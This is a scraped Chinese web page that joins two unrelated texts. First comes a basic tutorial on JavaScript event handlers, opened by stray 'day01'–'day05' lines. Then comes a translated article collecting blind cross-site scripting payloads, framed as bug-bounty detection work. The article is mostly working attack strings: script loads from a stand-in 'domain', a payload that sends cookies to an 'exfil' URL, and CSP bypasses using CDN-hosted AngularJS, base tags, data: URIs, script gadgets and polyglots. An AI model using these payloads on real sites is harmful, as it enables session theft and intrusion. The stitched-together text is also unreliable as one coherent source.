ay01
day02
day03
day04
day05
avaScript與HTML交互是通過在用戶或瀏覽器操縱頁面上發生的事件進行處理。
當頁面加載,這是一個事件。當用戶點擊一個按鈕,這一下,也就是一個事件。事件的另一個例子是類似按下任意鍵,關閉窗口,調整窗口等。
開發者可以使用這些事件執行JavaScript編碼響應,這引起按鈕以關閉視窗,消息,以便顯示給用戶,要驗證的數據,以及幾乎任何其它類型的響應可以發生的。
事件是文檔對象模型(DOM)第3級,每一個HTML元素的一部分有一套可以觸發JavaScript代碼事件。
這是當用戶點擊鼠標左鍵時發生的最頻繁使用的事件類型。可以針對此事件類型把驗證信息,警告等顯示。
例子:
<html>
<head>
<script type="text/javascript">
<!--
function sayHello() {
alert("Hello World")
}
//-->
</script>
</head>
<body>
<input type="button" onclick="sayHello()" value="Say Hello" />
</body>
</html>
123456789101112131415復制代碼類型:[javascript]
這將產生以下結果,當你點擊“Hello”按鈕,然后會的onclick事件的發生將觸發sayHello()函數。
另一個最重要的事件類型是 onsubmit。當嘗試提交表單時引發此事件。所以,可以把表單驗證針對此事件類型。
下面是簡單的例子,說明它的用法。在這里,我們提交表單數據到Web服務器之前,調用一個validate()函數。如果表單將被提交的validate()函數返回true,否則不會提交數據。
例子:
<html>
<head>
<script type="text/javascript">
<!--
function validation() {
all validation goes here
.........
return either true or false
}
//-->
</script>
</head>
<body>
<form method="POST" action="t.cgi" onsubmit="return validate()">
.......
<input type="submit" value="Submit" />
</form>
</body>
</html>
123456789101112131415161718192021復制代碼類型:[javascript]
這兩個事件類型將幫助創建圖片甚至用文字以及不錯的效果。當把鼠標在任何元素,當從元素把鼠標移出發生onmouseout事件,移過時發生 onmouseover 事件。
下面的例子說明,分組反應如下:
<html>
<head>
<script type="text/javascript">
<!--
function over() {
alert("Mouse Over");
}
function out() {
alert("Mouse Out");
}
//-->
</script>
</head>
<body>
<div onmouseover="over()" onmouseout="out()">
<h2> This is inside the division </h2>
</div>
</body>
</html>
123456789101112131415161718192021復制代碼類型:[javascript]
可以使用這兩個事件類型改變不同的圖像,也可以創建幫助你的用戶。
標準的HTML4事件列在這里,供大家參考。下面的腳本顯示一個Javascript函數功能以對該事件執行。
Event | Value | 描述 |
onchange | script | 腳本運行時的元素改變 |
onsubmit | script | 腳本時提交表單運行 |
onreset | script | 腳本運行時的形式被重置 |
onselect | script | 腳本當選擇元素運行 |
onblur | script | 腳本運行時的元素失去焦點 |
onfocus | script | 腳本運行時的元素獲得焦點 |
onkeydown | script | 腳本的時候鍵被按下運行 |
onkeypress | script | 腳本的時候鍵被按下并釋放運行 |
onkeyup | script | 腳本的時候鍵被釋放運行 |
onclick | script | 腳本運行時,用鼠標點擊 |
ondblclick | script | 腳本運行時,鼠標雙擊 |
onmousedown | script | 腳本的時候按下鼠標按鈕運行 |
onmousemove | script | 腳本運行時鼠標指針移動 |
onmouseout | script | 腳本運行時鼠標指針移出元素 |
onmouseover | script | 腳本運行時鼠標指針掠過元素 |
onmouseup | script | 腳本時釋放鼠標按鍵運行 |
開課吧廣場-人才學習交流平臺
挖掘安全漏洞的時候,我們往往不能面面俱到,會錯過某些系統功能,導致漏洞被遺漏。這在尋找Blind Cross-Site-scripting (bXSS)時更是如此。
去年我曾寫過一篇關于AngularJS bXSS的文章,分享我是如何利用AngularJS去進行bXSS攻擊。而在這篇文章中,我想分享更多可用來檢測bXSS的各種payload,希望能有效挖掘出后端系統中未曾被發現的bXSS。除此之外,我還想以自動化的方式進行檢測,因此所提出的payload既可以在Burp中使用,也可以在xsshunter或其他bXSS自動化掃描工具中使用。
在大多數情況下,確認bXSS存在的最簡單的方法就插入一張“圖像”,等待其渲染,捕獲注入點。當然,有時網站會針對img-src部署嚴格的內容安全策略(CSP),禁止從任意域加載圖像。
<!-- Image for HTTP Interaction --> "><img src='//domain/xss'>
而像Angular和AngularJS這樣的框架,也肯定會清除不可信數據,雖然會保留和圖像有關的HTML代碼,但會移除event處理代碼。這就有點像是HTML注入。此時基于img-src的攻擊不太可能會生效,因為我們所控制的域不太可能通過白名單過濾。
下一種payload是更傳統的引用外部javascript,利用第三方腳本來進行攻擊,這種原始的方式有時也能生效:
<!-- External javascript --> "><script src="http://domain/xss.js"></script>
javascript URIS也可以用于React應用,任何輸入都可以查入到href路徑中:
// javascript URI javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');
另一種方法是在href標簽中注入包括javascript URI在內的任意HTML。
<!-- javascript URI in a href --> "><a href="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
現在,讓我們看看瀏覽器中有哪些我們可以利用的部分,SVG、HTML5、event handlers和CSS。
而網站HTML5Sec.org也許能在這方面給你更明確的提示,它包含了大量的payload,可用來構建bXSS。
<!-- html5sec - Self-executing focus event via autofocus: --> "><input onfocus="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus> <!-- html5sec - javascript execution via iframe and onload --> "><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> <!-- html5sec - SVG tags allow code to be executed with onload without any other elements. --> "><svg onload="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xm lns="http://www.w3.org/2000/svg"></svg> <!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags --> "><video><source onerror="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')"> <!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. --> "><body onpageshow="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
Matthew Byrant也為xsshunter編寫了一些非常棒的payload,對于將某些惡意字符列入黑名單或使用jQuery的應用非常有效。
<!-- xsshunter.com - Sites that use JQuery --> <script>$.getscript("http://domain")</script> <!-- xsshunter.com - When <script> is filtered --> "><img src=x id=payload==onerror=eval(atob(this.id))> <!-- xsshunter.com - Bypassing poorly designed systems with autofocus --> "><input onfocus=eval(atob(this.id)) id=payload==autofocus>
到目前為止,我們已經有了圖像、外部javascript、javascript URI、a href、event handlers、SVG、JQuery等多種payload形式,并且我前期也介紹過基于AngularJS的bXSS;你還可以從諸如html5sec、Ed’s bug bounty-cheatsheet等大量網站中獲得足夠多的payload。
很久以前,瀏覽器的開發團隊就引入了一些安全性控制,并且越來越強大,越來越復雜。在某些情況下,即使存在注入,但由于存在CSP,payload也無法生效!即使只是圖片,來源不明的也不會加載。
好消息是有各種各樣的CSP繞過。Lukas and Michelle的文章中記錄了繞過CSP的各種方法。
不同的站點的CSP往往不同(當然有些網站可能會使用通用的模式),你可以把你的目標網站放到csp-evaluator.withgoogle.com中進行查詢,它會給你一些注入建議。
需要注意的是,CSP并不是用來防止用戶數據泄露,只是用來定義應該加載和執行哪些域的資源。
讓我們看看CSP在AngularJS是如何工作的:
<!-- Adapted from Gareth Heyes/sirdarkcat --> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv=content-security-policy content="object-src 'none';script-src 'nonce-secret';"> <script nonce=secret src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script> </head> <body> <div ng-app ng-csp> <textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH?exfil='+$event.view.encodeURI(d.domain+';'+d.cookie)"></textarea> </div> </body> </html>
可能會有部分敏感信息傳輸到你所控制的域中。
CSP中列入白名單的CDN地址是攻擊者的主要利用目標之一,過去已有多起因白名單中的CDN被濫用而導致的CSP繞過的事件。因此,我們可以先收集CSP中的CDN名單,利用某些低版本框架(例如AngularJS的模板注入)實現bXSS注入。
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script> <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></di v>
base標簽也是我們可以利用的對象,它會把下面加載的所有腳本重定向到第三方網站!而且還包括有效的CSP nonce!
<!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js --> "><base href="http://domain"> <script nonce='secret' src='./scripts/foo.js'></script>
你需要做的就是配置好你的服務器,讓特定通配符對應相應payload。
CSP的一個常見問題就是當object-src未被定義時,可以利用embed,object或applet進行繞過,當然,由于瀏覽器安全性的改進,這些標簽利用都變得很困難。
<!-- object-src is relaxed or missing adapted from https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22 --> "><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain="})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always> "><object data='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
script-src
如果CSP策略對于script-src允許HTTPS、*、data等,則很容易繞過:
<!-- data scheme or wildcard in script-src --> "><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script> <!-- https:// in script-src --> "><script src='https://domain'></script>
谷歌團隊在2017年發布了關于script Gadgets的研究,其中介紹了繞過CSP的新方法。簡單來說,就是script Gadgetst是合法的javascript代碼,但可以用來實現HTML注入。這意味著像AngularJS、Vue、Aurelia等庫/框架,都可用來進行bXSS攻擊。script Gadgets由于其合法性,可被用來繞過CSP、XSS過濾器和WAF等。
<!-- Google Research - AngularJS --> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> <!-- Google Research - Vue.js--> "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
payload列表可以通過谷歌團隊的研究進一步擴展,其中涉及各種庫和框架的多種利用方式。
考慮到注入代碼可能出現在多種不同的場景下,我們需要使用可適用多種場景的payload。Mathias Karlsson的一篇文章詳細介紹了如何創建多場景的payload,這可能是發現隱藏的bXSS的關鍵。
// Gareth Heyes - https://twitter.com/garethheyes
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
// clrf - http://polyglot.innerht.ml/
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
感謝你的閱讀!
本文由白帽匯整理并翻譯,不代表白帽匯任何觀點和立場
來源:https://nosec.org/home/detail/2801.html
原文:https://ardern.io/2019/06/20/payload-bxss/
白帽匯從事信息安全,專注于安全大數據、企業威脅情報。
公司產品:FOFA-網絡空間安全搜索引擎、FOEYE-網絡空間檢索系統、NOSEC-安全訊息平臺。
為您提供:網絡空間測繪、企業資產收集、企業威脅情報、應急響應服務。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。